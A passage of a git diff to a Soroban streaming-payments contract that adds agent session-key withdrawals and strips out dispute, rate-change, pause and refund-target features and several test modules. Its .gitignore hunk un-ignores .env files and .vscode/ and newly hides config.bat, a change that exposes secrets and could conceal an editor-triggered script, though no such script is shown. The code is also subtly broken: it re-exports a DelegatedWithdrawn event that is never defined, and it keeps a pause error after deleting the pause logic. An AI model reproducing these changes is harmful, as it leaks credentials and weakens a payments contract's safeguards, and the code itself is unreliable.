diff --git a/.gitignore b/.gitignore
index ed483221..2a52aa67 100644
--- a/.gitignore
+++ b/.gitignore
@@ -11,8 +11,6 @@ out/
 *.tsbuildinfo
 
 # Environment
-.env
-.env.*
 !.env.example
 # Generated by seed-local.sh — contains local sandbox contract id
 frontend/.env.local
@@ -20,7 +18,6 @@ frontend/.env.local
 # Editors / OS
 .DS_Store
 .idea/
-.vscode/
 *.log
 # ...except the append-only promotion log and runbook testnet logs, which are tracked records.
 !deployments/promotions.log
@@ -98,3 +95,4 @@ override.tf.json
 # Rendered bundles and manifest streams: reproducible from the modules, and the
 # bundle manifest hashes files that only exist after install.sh runs.
 infra/terraform/stacks/*/build/
+config.bat
diff --git a/contracts/streaming-payments/src/errors.rs b/contracts/streaming-payments/src/errors.rs
index 64da8535..bdba8837 100644
--- a/contracts/streaming-payments/src/errors.rs
+++ b/contracts/streaming-payments/src/errors.rs
@@ -447,115 +447,66 @@ pub enum StreamError {
         doc = " or accept it before proposing another."
     )]
     OwnershipProposalPending = 63,
-    #[cfg_attr(
-        not(target_family = "wasm"),
-        doc = " A governance entrypoint was called before the signer set was bootstrapped."
-    )]
-    GovernanceNotInitialized = 64,
-    #[cfg_attr(
-        not(target_family = "wasm"),
-        doc = " `governance_bootstrap` was called, but the signer set already exists."
-    )]
-    #[cfg_attr(
-        not(target_family = "wasm"),
-        doc = " Bootstrap is one-time; later sets arrive as an executed `SetSigners`"
-    )]
-    #[cfg_attr(
-        not(target_family = "wasm"),
-        doc = " proposal, so no key can re-establish governance over an existing one."
-    )]
-    GovernanceAlreadyInitialized = 65,
-    #[cfg_attr(
-        not(target_family = "wasm"),
-        doc = " The caller is not a member of the governance signer set."
-    )]
-    NotGovernanceSigner = 66,
-    #[cfg_attr(
-        not(target_family = "wasm"),
-        doc = " The proposed signer set lists the same address twice. Refused rather than"
-    )]
-    #[cfg_attr(
-        not(target_family = "wasm"),
-        doc = " deduplicated: two slots held by one key are one key."
-    )]
-    GovernanceDuplicateSigner = 67,
-    #[cfg_attr(
-        not(target_family = "wasm"),
-        doc = " The proposed signer set is empty."
-    )]
-    GovernanceSignerSetEmpty = 68,
-    #[cfg_attr(
-        not(target_family = "wasm"),
-        doc = " The proposed signer set exceeds `MAX_SIGNERS`."
-    )]
-    GovernanceTooManySigners = 69,
-    #[cfg_attr(
-        not(target_family = "wasm"),
-        doc = " The proposed signer set does not hold two distinct keys, so it could never"
-    )]
-    #[cfg_attr(not(target_family = "wasm"), doc = " satisfy the two-signature rule.")]
-    GovernanceSignersNotDistinct = 70,
-    #[cfg_attr(
-        not(target_family = "wasm"),
-        doc = " No proposal is stored under the supplied id."
-    )]
-    GovernanceProposalNotFound = 71,
-    #[cfg_attr(
-        not(target_family = "wasm"),
-        doc = " Execution was attempted while the veto window is still open."
-    )]
-    GovernanceVetoWindowOpen = 72,
-    #[cfg_attr(
-        not(target_family = "wasm"),
-        doc = " A veto was attempted after the window closed; the proposal is matured and"
-    )]
-    #[cfg_attr(
-        not(target_family = "wasm"),
-        doc = " executable (execute-on-timeout), so the way to stop it now is to rotate"
-    )]
-    #[cfg_attr(
-        not(target_family = "wasm"),
-        doc = " the keys it would act through, not to veto it."
-    )]
-    GovernanceVetoWindowClosed = 73,
-    #[cfg_attr(
-        not(target_family = "wasm"),
-        doc = " The requested veto window is shorter than `MIN_VETO_WINDOW_SECONDS`."
-    )]
-    GovernanceVetoWindowTooShort = 74,
-    #[cfg_attr(
-        not(target_family = "wasm"),
-        doc = " The proposal was vetoed and is therefore dead."
-    )]
-    GovernanceAlreadyVetoed = 75,
-    #[cfg_attr(
-        not(target_family = "wasm"),
-        doc = " The proposal has already been executed."
-    )]
-    GovernanceAlreadyExecuted = 76,
-    #[cfg_attr(
-        not(target_family = "wasm"),
-        doc = " This address has already signed the proposal. Execution needs two"
-    )]
-    #[cfg_attr(
-        not(target_family = "wasm"),
-        doc = " *distinct* signatures, so a second one from the same key is refused."
-    )]
-    GovernanceDuplicateSignature = 77,
-    #[cfg_attr(
-        not(target_family = "wasm"),
-        doc = " Fewer than the required distinct, still-current signatures are recorded."
-    )]
-    GovernanceSignaturesInsufficient = 78,
-    #[cfg_attr(
-        not(target_family = "wasm"),
-        doc = " The action requires an executed governance proposal now that the signer"
-    )]
-    #[cfg_attr(
-        not(target_family = "wasm"),
-        doc = " set is bootstrapped; the direct entry point is closed."
-    )]
-    GovernanceTimelockRequired = 79,
+    /// No session-key (agent) authorization exists for this (agent, stream)
+    /// pair; the recipient must call `authorize_agent` first.
+    AgentNotAuthorized = 64,
+    /// The session key's authorization has expired (`expires_at` has passed).
+    AgentExpired = 65,
+    /// The session key was revoked by the recipient; it can no longer sign
+    /// delegated withdrawals for this stream.
+    AgentRevoked = 66,
+    /// The delegated withdrawal would exceed the agent's per-period cap for
+    /// this stream within the current cap window.
+    AgentPeriodCapExceeded = 67,
+    /// The delegated withdrawal would exceed the agent's lifetime cap for
+    /// this stream (max total across all windows).
+    AgentStreamCapExceeded = 68,
+    /// The provided agent signature did not verify against the authorized
+    /// session key for this (agent, stream) pair.
+    AgentSignatureInvalid = 69,
+    /// The delegated withdrawal's nonce was already consumed — a replay of a
+    /// previously executed delegated withdrawal.
+    AgentNonceReplay = 70,
+    /// A governance entrypoint was called before the signer set was bootstrapped.
+    GovernanceNotInitialized = 71,
+    /// `governance_bootstrap` was called, but the signer set already exists.
+    /// Bootstrap is one-time; later sets arrive as an executed `SetSigners`
+    /// proposal, so no key can re-establish governance over an existing one.
+    GovernanceAlreadyInitialized = 72,
+    /// The caller is not a member of the governance signer set.
+    NotGovernanceSigner = 73,
+    /// The proposed signer set lists the same address twice. Refused rather than
+    /// deduplicated: two slots held by one key are one key.
+    GovernanceDuplicateSigner = 74,
+    /// The proposed signer set is empty.
+    GovernanceSignerSetEmpty = 75,
+    /// The proposed signer set exceeds `MAX_SIGNERS`.
+    GovernanceTooManySigners = 76,
+    /// The proposed signer set does not hold two distinct keys, so it could never
+    /// satisfy the two-signature rule.
+    GovernanceSignersNotDistinct = 77,
+    /// No proposal is stored under the supplied id.
+    GovernanceProposalNotFound = 78,
+    /// Execution was attempted while the veto window is still open.
+    GovernanceVetoWindowOpen = 79,
+    /// A veto was attempted after the window closed; the proposal is matured and
+    /// executable (execute-on-timeout), so the way to stop it now is to rotate
+    /// the keys it would act through, not to veto it.
+    GovernanceVetoWindowClosed = 80,
+    /// The requested veto window is shorter than `MIN_VETO_WINDOW_SECONDS`.
+    GovernanceVetoWindowTooShort = 81,
+    /// The proposal was vetoed and is therefore dead.
+    GovernanceAlreadyVetoed = 82,
+    /// The proposal has already been executed.
+    GovernanceAlreadyExecuted = 83,
+    /// This address has already signed the proposal. Execution needs two
+    /// *distinct* signatures, so a second one from the same key is refused.
+    GovernanceDuplicateSignature = 84,
+    /// Fewer than the required distinct, still-current signatures are recorded.
+    GovernanceSignaturesInsufficient = 85,
+    /// The action requires an executed governance proposal now that the signer
+    /// set is bootstrapped; the direct entry point is closed.
+    GovernanceTimelockRequired = 86,
     #[cfg_attr(
         not(target_family = "wasm"),
         doc = " A dispute is open on the stream: `cancel_stream` and `top_up` are"
@@ -564,22 +515,22 @@ pub enum StreamError {
         not(target_family = "wasm"),
         doc = " frozen until the sender resolves it or the timelock expires."
     )]
-    DisputeActive = 80,
+    DisputeActive = 87,
     #[cfg_attr(
         not(target_family = "wasm"),
         doc = " No open dispute exists on the stream."
     )]
-    DisputeNotFound = 81,
+    DisputeNotFound = 88,
     #[cfg_attr(
         not(target_family = "wasm"),
         doc = " The dispute's timelock has not elapsed yet."
     )]
-    DisputeNotExpired = 82,
+    DisputeNotExpired = 89,
     #[cfg_attr(
         not(target_family = "wasm"),
         doc = " No rate-change proposal is stored for this stream."
     )]
-    NoPendingRateChange = 83,
+    NoPendingRateChange = 90,
     #[cfg_attr(
         not(target_family = "wasm"),
         doc = " The pending rate-change proposal's acceptance window has elapsed; the"
@@ -588,7 +539,7 @@ pub enum StreamError {
         not(target_family = "wasm"),
         doc = " rate must be proposed again by a stream party."
     )]
-    RateProposalExpired = 84,
+    RateProposalExpired = 91,
     #[cfg_attr(
         not(target_family = "wasm"),
         doc = " An unexpired rate-change proposal already exists for this stream; cancel"
@@ -597,7 +548,7 @@ pub enum StreamError {
         not(target_family = "wasm"),
         doc = " or accept it before proposing another."
     )]
-    RateProposalPending = 85,
+    RateProposalPending = 92,
     #[cfg_attr(
         not(target_family = "wasm"),
         doc = " The stream already carries the maximum number of rate segments"
@@ -606,7 +557,7 @@ pub enum StreamError {
         not(target_family = "wasm"),
         doc = " (`MAX_RATE_SEGMENTS`); cancel it or open a new stream instead."
     )]
-    TooManyRateSegments = 86,
+    TooManyRateSegments = 93,
     #[cfg_attr(
         not(target_family = "wasm"),
         doc = " A stored record uses a layout this build does not understand: its"
@@ -623,7 +574,7 @@ pub enum StreamError {
         not(target_family = "wasm"),
         doc = " rather than guessing — see `stream::get_stream_record`."
     )]
-    SchemaVersionUnsupported = 87,
+    SchemaVersionUnsupported = 94,
     #[cfg_attr(
         not(target_family = "wasm"),
         doc = " No sender-transfer proposal is stored for the stream, or the one that"
@@ -632,7 +583,7 @@ pub enum StreamError {
         not(target_family = "wasm"),
         doc = " was there has already been executed, cancelled or replaced."
     )]
-    SenderTransferNotFound = 88,
+    SenderTransferNotFound = 95,
     #[cfg_attr(
         not(target_family = "wasm"),
         doc = " The sender-transfer proposal's acceptance window has elapsed; the role"
@@ -641,7 +592,7 @@ pub enum StreamError {
         not(target_family = "wasm"),
         doc = " did not move. Reclaim the stale entry with `expire_sender_transfer`."
     )]
-    SenderTransferExpired = 89,
+    SenderTransferExpired = 96,
     #[cfg_attr(
         not(target_family = "wasm"),
         doc = " `expire_sender_transfer` refused to reclaim a proposal that is still"
@@ -654,7 +605,7 @@ pub enum StreamError {
         not(target_family = "wasm"),
         doc = " window ending may end a proposal."
     )]
-    SenderTransferNotExpired = 90,
+    SenderTransferNotExpired = 97,
     #[cfg_attr(
         not(target_family = "wasm"),
         doc = " The nonce presented with the consent does not match the nonce stored"
@@ -664,7 +615,7 @@ pub enum StreamError {
         doc = " with the proposal, so the consent is aimed at a different (or already"
     )]
     #[cfg_attr(not(target_family = "wasm"), doc = " replaced) proposal.")]
-    SenderTransferNonceMismatch = 91,
+    SenderTransferNonceMismatch = 98,
     #[cfg_attr(
         not(target_family = "wasm"),
         doc = " An unexpired sender-transfer proposal already exists for this stream;"
@@ -673,13 +624,13 @@ pub enum StreamError {
         not(target_family = "wasm"),
         doc = " let it expire, execute or reclaim it before proposing another."
     )]
-    SenderTransferPending = 92,
+    SenderTransferPending = 99,
     #[cfg_attr(
         not(target_family = "wasm"),
         doc = " The caller is not the stream's recipient, so their consent cannot"
     )]
     #[cfg_attr(not(target_family = "wasm"), doc = " execute a sender-role transfer.")]
-    SenderTransferNotConsenter = 93,
+    SenderTransferNotConsenter = 100,
     #[cfg_attr(
         not(target_family = "wasm"),
         doc = " Only the current sender may route the refund of their deposit. The"
@@ -692,7 +643,7 @@ pub enum StreamError {
         not(target_family = "wasm"),
         doc = " a stranger cannot redirect it by calling `set_refund_target`."
     )]
-    RefundTargetNotSender = 94,
+    RefundTargetNotSender = 101,
     #[cfg_attr(
         not(target_family = "wasm"),
         doc = " The requested refund target already holds the claim, so the amendment"
@@ -705,7 +656,7 @@ pub enum StreamError {
         not(target_family = "wasm"),
         doc = " change. Rejected so the log only ever records real routing changes."
     )]
-    RefundTargetUnchanged = 95,
+    RefundTargetUnchanged = 102,
     #[cfg_attr(
         not(target_family = "wasm"),
         doc = " `withdraw_many` was called with an empty list of stream ids. Rejected"
@@ -718,7 +669,7 @@ pub enum StreamError {
         not(target_family = "wasm"),
         doc = " *creation* batch precondition, so callers can tell the two apart."
     )]
-    WithdrawBatchEmpty = 96,
+    WithdrawBatchEmpty = 103,
     #[cfg_attr(
         not(target_family = "wasm"),
         doc = " `withdraw_many` was called with more stream ids than"
@@ -731,7 +682,7 @@ pub enum StreamError {
         not(target_family = "wasm"),
         doc = " the transaction budget; split larger sets across several calls."
     )]
-    WithdrawBatchTooLarge = 97,
+    WithdrawBatchTooLarge = 104,
     #[cfg_attr(
         not(target_family = "wasm"),
         doc = " `withdraw_many` was given the same stream id more than once. The second"
@@ -749,7 +700,7 @@ pub enum StreamError {
         doc = " available balance), so the whole call is rejected instead of"
     )]
     #[cfg_attr(not(target_family = "wasm"), doc = " de-duplicated.")]
-    WithdrawDuplicateStreamIds = 98,
+    WithdrawDuplicateStreamIds = 105,
     #[cfg_attr(
         not(target_family = "wasm"),
         doc = " Invalid pause transition: `pause_stream` on a stream that is already"
@@ -758,7 +709,7 @@ pub enum StreamError {
         not(target_family = "wasm"),
         doc = " paused, or `resume_stream` on a stream that is not paused."
     )]
-    InvalidPauseTransition = 99,
+    InvalidPauseTransition = 106,
 }
 
 impl StreamError {
@@ -829,6 +780,13 @@ impl StreamError {
         StreamError::OwnershipProposalExpired,
         StreamError::InvalidTransferTarget,
         StreamError::OwnershipProposalPending,
+        StreamError::AgentNotAuthorized,
+        StreamError::AgentExpired,
+        StreamError::AgentRevoked,
+        StreamError::AgentPeriodCapExceeded,
+        StreamError::AgentStreamCapExceeded,
+        StreamError::AgentSignatureInvalid,
+        StreamError::AgentNonceReplay,
         StreamError::GovernanceNotInitialized,
         StreamError::GovernanceAlreadyInitialized,
         StreamError::NotGovernanceSigner,
@@ -872,4 +830,4 @@ impl StreamError {
     pub const fn code(self) -> u32 {
         self as u32
     }
-}
+}
\ No newline at end of file
diff --git a/contracts/streaming-payments/src/events.rs b/contracts/streaming-payments/src/events.rs
index 97625305..92339ec5 100644
--- a/contracts/streaming-payments/src/events.rs
+++ b/contracts/streaming-payments/src/events.rs
@@ -817,52 +817,89 @@ pub struct OracleStaleFallback {
 pub struct OwnershipProposed {
     #[topic]
     pub stream_id: u64,
-    #[cfg_attr(
-        not(target_family = "wasm"),
-        doc = " The current role holder (must be the stream's sender or recipient)."
-    )]
-    pub current_owner: Address,
-    #[cfg_attr(
-        not(target_family = "wasm"),
-        doc = " Address that must accept before the role moves."
-    )]
-    pub new_owner: Address,
     pub role: OwnershipRole,
-    #[cfg_attr(
-        not(target_family = "wasm"),
-        doc = " Ledger timestamp at or after which the proposal is stale."
-    )]
-    pub expires_at: u64,
+    pub current: Address,
+    pub proposed: Address,
 }
 
-#[cfg_attr(
-    not(target_family = "wasm"),
-    doc = " Emitted when a proposed ownership handoff is accepted by its target. The"
-)]
-#[cfg_attr(
-    not(target_family = "wasm"),
-    doc = " stream's accounting fields (`deposit`, `withdrawn`, time window) are"
-)]
-#[cfg_attr(
-    not(target_family = "wasm"),
-    doc = " unchanged; only the role address moves."
-)]
+/// Emitted when the proposed owner accepts the role handoff.
 #[contractevent]
 #[derive(Clone, Debug, Eq, PartialEq)]
 pub struct OwnershipAccepted {
     #[topic]
     pub stream_id: u64,
-    #[cfg_attr(
-        not(target_family = "wasm"),
-        doc = " The role holder before the transfer."
-    )]
-    pub previous_owner: Address,
-    #[cfg_attr(
-        not(target_family = "wasm"),
-        doc = " The new role holder (the accepting address)."
-    )]
+    pub role: OwnershipRole,
+    pub previous: Address,
     pub new_owner: Address,
+}
+
+/// Emitted when a pending ownership handoff is cancelled.
+#[contractevent]
+#[derive(Clone, Debug, Eq, PartialEq)]
+pub struct OwnershipCancelled {
+    #[topic]
+    pub stream_id: u64,
     pub role: OwnershipRole,
+    pub proposed: Address,
+}
+
+/// Emitted when a recipient authorizes an agent (hot wallet) to perform
+/// capped delegated withdrawals on a specific stream. Keyed by `stream_id`
+/// with the agent as a second topic so indexers can track per-agent cap
+/// history without reading contract state.
+#[contractevent]
+#[derive(Clone, Debug, Eq, PartialEq)]
+pub struct AgentAuthorized {
+    #[topic]
+    pub stream_id: u64,
+    #[topic]
+    pub agent: Address,
+    pub recipient: Address,
+    /// Maximum amount the agent may withdraw per window.
+    pub max_per_period: i128,
+    /// Maximum cumulative amount the agent may withdraw over the lifetime
+    /// of this authorization.
+    pub max_per_stream: i128,
+    /// Length of the rolling window in seconds.
+    pub window_seconds: u64,
+    /// Absolute expiry time of the authorization.
+    pub expires_at: u64,
+}
+
+/// Emitted when an agent performs a delegated withdrawal. Keyed by `stream_id`
+/// and the agent address. cap_remaining_period and cap_remaining_stream
+/// allow off-chain monitors to reconcile against the on-chain cap ledger.
+#[contractevent]
+#[derive(Clone, Debug, Eq, PartialEq)]
+pub struct AgentWithdrawn {
+    #[topic]
+    pub stream_id: u64,
+    #[topic]
+    pub agent: Address,
+    pub recipient: Address,
+    pub amount: i128,
+    /// Total withdrawn from the stream after this withdrawal.
+    pub withdrawn_total: i128,
+    /// Remaining per-period cap after this withdrawal.
+    pub cap_remaining_period: i128,
+    /// Remaining lifetime cap for this agent on this stream.
+    pub cap_remaining_stream: i128,
+    /// Time the current rolling window started.
+    pub window_start: u64,
+}
+
+/// Emitted when a recipient revokes an agent authorization. Revocation takes effect
+/// immediately for all subsequent transactions.
+#[contractevent]
+#[derive(Clone, Debug, Eq, PartialEq)]
+pub struct AgentRevoked {
+    #[topic]
+    pub stream_id: u64,
+    #[topic]
+    pub agent: Address,
+    pub revoked_by: Address,
+    /// Amount withdrawn by the agent during the authorization's lifetime.
+    pub total_withdrawn: i128,
 }
 
 #[cfg_attr(
@@ -1224,4 +1261,4 @@ pub struct StreamRefundTargetChanged {
         doc = " reader can tell a creation-time destination from a later amendment."
     )]
     pub at_creation: bool,
-}
+}
\ No newline at end of file
diff --git a/contracts/streaming-payments/src/lib.rs b/contracts/streaming-payments/src/lib.rs
index 131faedb..d2c15587 100644
--- a/contracts/streaming-payments/src/lib.rs
+++ b/contracts/streaming-payments/src/lib.rs
@@ -14,40 +14,21 @@
 //! - [`StreamingPayments::withdraw`] — recipient claims accrued funds
 //! - [`StreamingPayments::withdraw_max`] — recipient claims *all* accrued
 //!   funds in one atomic call
-//! - [`StreamingPayments::withdraw_all`] — recipient batch-claims accrued
-//!   funds across all streams with pagination and asset aggregation
 //! - [`StreamingPayments::cancel_stream`] — sender (or recipient, if the
 //!   stream is `cancelable`) closes the stream with a pro-rata split
 //! - [`StreamingPayments::top_up`] — add funds to a running stream
-//! - [`StreamingPayments::raise_dispute`] — recipient flags the stream
-//!   (wrong address, coerced creation) for a bond; cancel/top-up are frozen
-//!   until the sender resolves or the timelock expires
-//! - [`StreamingPayments::resolve_dispute`] — sender accepts (unwind +
-//!   refund bond) or rejects as bad-faith (bond slashed, stream resumes)
-//! - [`StreamingPayments::expire_dispute`] — anyone, after the timelock:
-//!   bond split, stream resumes
 //! - [`StreamingPayments::propose_ownership_transfer`] /
 //!   [`StreamingPayments::accept_ownership_transfer`] /
 //!   [`StreamingPayments::cancel_ownership_transfer`] — two-step handoff of
 //!   the sender (payer) or recipient (claimant) role
-//! - [`StreamingPayments::propose_rate_change`] /
-//!   [`StreamingPayments::accept_rate_change`] /
-//!   [`StreamingPayments::cancel_rate_change`] — two-step renegotiation of the
-//!   streaming rate, rebalancing the deposit at acceptance so neither party can
-//!   change what is owed alone
-//! - [`StreamingPayments::create_stream_with_refund`] /
-//!   [`StreamingPayments::set_refund_target`] — route the refund of the
-//!   unstreamed remainder to an address other than the sender
 //! - [`StreamingPayments::sponsored_withdraw`] — an operator relays a
-//!   recipient’s claim and a sponsor absorbs the gas, guarded by a budget
+//!   recipient's claim and a sponsor absorbs the gas, guarded by a budget
 //!   ledger and nonce replay protection (see the `sponsor` module docs)
 //! - [`StreamingPayments::register_sponsor`] /
 //!   [`StreamingPayments::enroll_beneficiary`] /
 //!   [`StreamingPayments::rotate_operator_key`] — sponsorship setup
 //! - [`StreamingPayments::get_stream`] / [`StreamingPayments::available`] /
 //!   [`StreamingPayments::pending_ownership_transfer`] — read-only views
-//! - [`StreamingPayments::get_dispute`] /
-//!   [`StreamingPayments::required_dispute_bond`] — dispute read-only views
 //! - [`StreamingPayments::recipient_streams`] /
 //!   [`StreamingPayments::sender_streams`] — paginated on-chain discovery
 //!   indexes per address
@@ -59,10 +40,8 @@
 //!
 //! - `0 <= withdrawn <= streamed <= deposit` for every stored stream.
 //! - The contract's token balance always covers `sum(deposit - withdrawn)`
-//!   over live (non-cancelled) streams, plus all outstanding dispute bonds,
-//!   plus `charged_total - withdrawn_total` over all token treasuries (funds
-//!   are only ever moved by these entry points; a cancelled stream holds
-//!   nothing once its split was paid).
+//!   over all streams plus `charged_total - withdrawn_total` over all
+//!   token treasuries (funds are only ever moved by these entry points).
 //! - All state changes happen *before* token transfers (checks-effects-
 //!   interactions), so reentrant token callbacks cannot over-withdraw.
 //! - Every token call goes through the SDK's fallible (`try_`) client and a
@@ -74,8 +53,6 @@
 //!   written before the transfer — rolls back atomically.
 //! - `treasury.charged_total == sum of FeeCharged events == sum of stored
 //!   per-stream fees`, provable from public reads (see `treasury.rs`).
-//! - A dispute freezes cancel/top-up only: accrual keeps running and the
-//!   recipient can always withdraw accrued funds, dispute or not.
 
 #[cfg(test)]
 extern crate std;
@@ -84,18 +61,12 @@ extern crate std;
 mod cei_trace;
 mod client_parity_test;
 #[cfg(test)]
-mod clock_skew_test;
-#[cfg(test)]
 mod differential_harness;
 #[cfg(test)]
 mod differential_test;
 #[cfg(test)]
 mod error_surface_test;
-
-mod dispute;
 mod errors;
-#[cfg(test)]
-mod event_registry;
 mod events;
 mod governance;
 #[cfg(test)]
@@ -106,12 +77,10 @@ mod schedule;
 #[cfg(test)]
 mod schedule_test;
 #[cfg(test)]
-mod schema_guard_test;
+mod session_key_test;
 pub(crate) mod sponsor;
 #[cfg(test)]
 mod sponsor_test;
-#[cfg(test)]
-mod storage_golden;
 mod stream;
 pub mod surface;
 #[cfg(test)]
@@ -120,6 +89,7 @@ mod test;
 pub mod test_client;
 mod treasury;
 pub mod verification;
+pub(crate) mod session_key;
 
 use soroban_sdk::{
     contract, contractimpl, contracttype, token::TokenClient, Address, BytesN, ConversionError,
@@ -128,47 +98,35 @@ use soroban_sdk::{
 
 use surface::Branch;
 
-pub use dispute::{
-    bond_shares, required_bond, Dispute, DISPUTE_BOND_BPS, DISPUTE_TIMEOUT_SECONDS,
-    MIN_DISPUTE_BOND,
-};
 pub use errors::StreamError;
 pub use events::{
-    BatchWithdrawSummary, BeneficiaryEnrolled, ContractFrozenStateChanged, ContractUpgraded,
-    DisputeExpired, DisputeRaised, DisputeResolved, FeeCharged, FeeWithdrawn,
+    BeneficiaryEnrolled, ContractFrozenStateChanged, ContractUpgraded, FeeCharged, FeeWithdrawn,
     GovernanceActionExecuted, GovernanceActionProposed, GovernanceActionSigned,
     GovernanceActionVetoed, GovernanceSignersSet, OperatorKeyRotated, OracleConfigUpdated,
     OracleStaleFallback, OracleTimeReported, OwnershipAccepted, OwnershipProposed,
     PolicyAssetExecuted, PolicyAssetQueued, PolicyHandoffAccepted, PolicyHandoffCancelled,
-    PolicyHandoffProposed, PolicyInitialized, RateChangeAccepted, RateChangeProposed,
-    ScheduledIntentCancelled, ScheduledIntentExpired, ScheduledStreamExecuted,
-    SenderTransferExpired, SenderTransferProposed, SenderTransferred, SponsorActiveSet,
-    SponsorClaim, SponsorRegistered, StorageMigrated, StreamCancelled, StreamCreated, StreamPaused,
-    StreamPolicySet, StreamRecordMigrated, StreamRefundTargetChanged, StreamResumed,
-    StreamScheduled, StreamToppedUp, StreamsCreated, UpgradeCancelled, UpgradeProposed, Withdrawn,
+    PolicyHandoffProposed, PolicyInitialized, ScheduledIntentCancelled, ScheduledIntentExpired,
+    ScheduledStreamExecuted, SponsorActiveSet, AgentAuthorized, AgentRevoked, DelegatedWithdrawn,
+    SponsorClaim, SponsorRegistered, StorageMigrated, StreamCancelled, StreamCreated,
+    StreamPolicySet, StreamScheduled, StreamToppedUp, StreamsCreated, UpgradeCancelled,
+    UpgradeProposed, Withdrawn,
 };
 pub use governance::{
     GovernanceAction, Proposal, DEFAULT_VETO_WINDOW_SECONDS, MAX_SIGNERS, MIN_VETO_WINDOW_SECONDS,
     REQUIRED_SIGNATURES, ROTATION_WINDOW_MULTIPLIER,
 };
 pub use oracle::{OracleConfig, OracleReport, ResolvedTime, DEFAULT_MAX_STALE_SECONDS};
-pub use policy::{
-    validate_rate_args, validate_stream_args, validate_top_up_args, QueuedAssetChange, StreamPolicy,
-};
+pub use policy::{validate_stream_args, validate_top_up_args, QueuedAssetChange, StreamPolicy};
 pub use schedule::{IntentStatus, ScheduledIntent, MAX_OCCURRENCES};
 pub use sponsor::{PeriodSpend, SponsorConfig};
+pub use session_key::{AgentSession, AgentSessionKey, SessionWindow, MAX_SESSION_DURATION_SECONDS};
 // `streamed_at` is re-exported for the fuzz target and downstream rate
 // calculators: it is a pure function requiring no `Env`.
 pub use stream::{
-    streamed_amount_at_segments, streamed_at, AssetTransfer, BatchEntry, ClaimFailure,
-    MigrationStatus, OwnershipRole, PageBounds, PendingOwnership, PendingRateChange,
-    PendingSenderTransfer, PendingUpgrade, RateSegment, SenderHistory, SenderTransferRecord,
-    Stream, StreamStatus, StreamVersionReport, VersionedStream, WithdrawAllResult, WithdrawEntry,
-    WithdrawOutcome, CURRENT_STREAM_RECORD_VERSION, INITIAL_SCHEMA_VERSION, MAX_BATCH,
-    MAX_DURATION_SECONDS, MAX_MIGRATION_BATCH_SIZE, MAX_PAGE_SIZE, MAX_RATE_SEGMENTS,
-    MAX_WITHDRAW_BATCH, MIN_BATCH, MIN_UPGRADE_DELAY_SECONDS, OWNERSHIP_PROPOSAL_TTL_SECONDS,
-    RATE_PROPOSAL_TTL_SECONDS, STREAM_RECORD_VERSION_V1, STREAM_RECORD_VERSION_V2,
-    TARGET_SCHEMA_VERSION,
+    streamed_at, BatchEntry, MigrationStatus, OwnershipRole, PendingOwnership, PendingUpgrade,
+    Stream, StreamStatus, INITIAL_SCHEMA_VERSION, MAX_BATCH, MAX_DURATION_SECONDS,
+    MAX_MIGRATION_BATCH_SIZE, MAX_PAGE_SIZE, MIN_BATCH, MIN_UPGRADE_DELAY_SECONDS,
+    OWNERSHIP_PROPOSAL_TTL_SECONDS, TARGET_SCHEMA_VERSION,
 };
 pub use treasury::{fee_amount, FeeScan, Treasury, TreasuryStatus, BPS_DENOMINATOR, MAX_FEE_BPS};
 
@@ -259,7 +217,6 @@ fn push_from(
         Branch::RecipientPayoutFailed => "transfer recipient payout",
         Branch::SenderRefundFailed => "transfer sender refund",
         Branch::TreasuryPayoutFailed => "transfer treasury payout",
-        Branch::RateRefundFailed => "transfer rate refund",
         _ => "transfer token",
     });
     let res = TokenClient::new(env, token).try_transfer(from, recipient, &amount);
@@ -287,75 +244,6 @@ fn push(
 
 #[contractimpl]
 impl StreamingPayments {
-    /// Shared body of `pause_stream` / `resume_stream` (one copy in the Wasm).
-    fn set_paused(
-        env: &Env,
-        caller: Address,
-        stream_id: u64,
-        pause: bool,
-    ) -> Result<(), StreamError> {
-        Self::require_not_frozen(env)?;
-        caller.require_auth();
-        let mut s = stream::get_stream(env, stream_id)?;
-        if s.status != StreamStatus::Active {
-            return Err(surface::reject(Branch::StreamNotActive));
-        }
-        if caller != s.sender {
-            return Err(surface::reject(Branch::PauseNotAuthorized));
-        }
-        let paused_at = stream::get_paused_at(env, stream_id);
-        let now = oracle::resolve_stream_time(env, stream_id, s.uses_oracle()).timestamp;
-        if pause {
-            if paused_at.is_some() {
-                return Err(surface::reject(Branch::PauseAlreadyPaused));
-            }
-            stream::set_paused_at(env, stream_id, Some(now));
-            #[cfg(test)]
-            cei_trace::record("event StreamPaused");
-            StreamPaused {
-                stream_id,
-                paused_at: now,
-            }
-            .publish(env);
-            return Ok(());
-        }
-        let Some(paused_at) = paused_at else {
-            return Err(surface::reject(Branch::ResumeNotPaused));
-        };
-        // Shift the window by the time spent paused *inside* it: a pause taken
-        // before `start_time` only shifts by however far `now` is past it, and
-        // one taken at or after `end_time` changes nothing about accrual.
-        let shift = if paused_at >= s.end_time {
-            0
-        } else {
-            now.saturating_sub(paused_at.max(s.start_time))
-        };
-        if shift > 0 {
-            s.start_time = s.start_time.saturating_add(shift);
-            s.end_time = s.end_time.saturating_add(shift);
-            let mut segments = stream::get_rate_segments(env, stream_id);
-            for i in 0..segments.len() {
-                let mut seg = segments.get_unchecked(i);
-                seg.start_time = seg.start_time.saturating_add(shift);
-                seg.end_time = seg.end_time.saturating_add(shift);
-                segments.set(i, seg);
-            }
-            if !segments.is_empty() {
-                stream::put_rate_segments(env, stream_id, &segments);
-            }
-            stream::put_stream(env, &s);
-        }
-        stream::set_paused_at(env, stream_id, None);
-        #[cfg(test)]
-        cei_trace::record("event StreamResumed");
-        StreamResumed {
-            stream_id,
-            new_end_time: s.end_time,
-        }
-        .publish(env);
-        Ok(())
-    }
-
     #[cfg_attr(
         not(target_family = "wasm"),
         doc = " Internal helper: verifies that mutating entrypoints are not called"
@@ -573,221 +461,6 @@ impl StreamingPayments {
         )
     }
 
-    #[cfg_attr(
-        not(target_family = "wasm"),
-        doc = " Creates a stream whose unstreamed remainder is refundable to `refund_to`"
-    )]
-    #[cfg_attr(not(target_family = "wasm"), doc = " rather than to the sender.")]
-    #[cfg_attr(not(target_family = "wasm"), doc = "")]
-    #[cfg_attr(
-        not(target_family = "wasm"),
-        doc = " The refund claim normally travels with the sender role; pinning it at"
-    )]
-    #[cfg_attr(
-        not(target_family = "wasm"),
-        doc = " creation is how a payer routes a cancellation back to the account that"
-    )]
-    #[cfg_attr(
-        not(target_family = "wasm"),
-        doc = " actually funded the deposit — a treasury behind the signing key, a"
-    )]
-    #[cfg_attr(
-        not(target_family = "wasm"),
-        doc = " corporate payer whose payroll wallet is ephemeral, or a parent grant that"
-    )]
-    #[cfg_attr(
-        not(target_family = "wasm"),
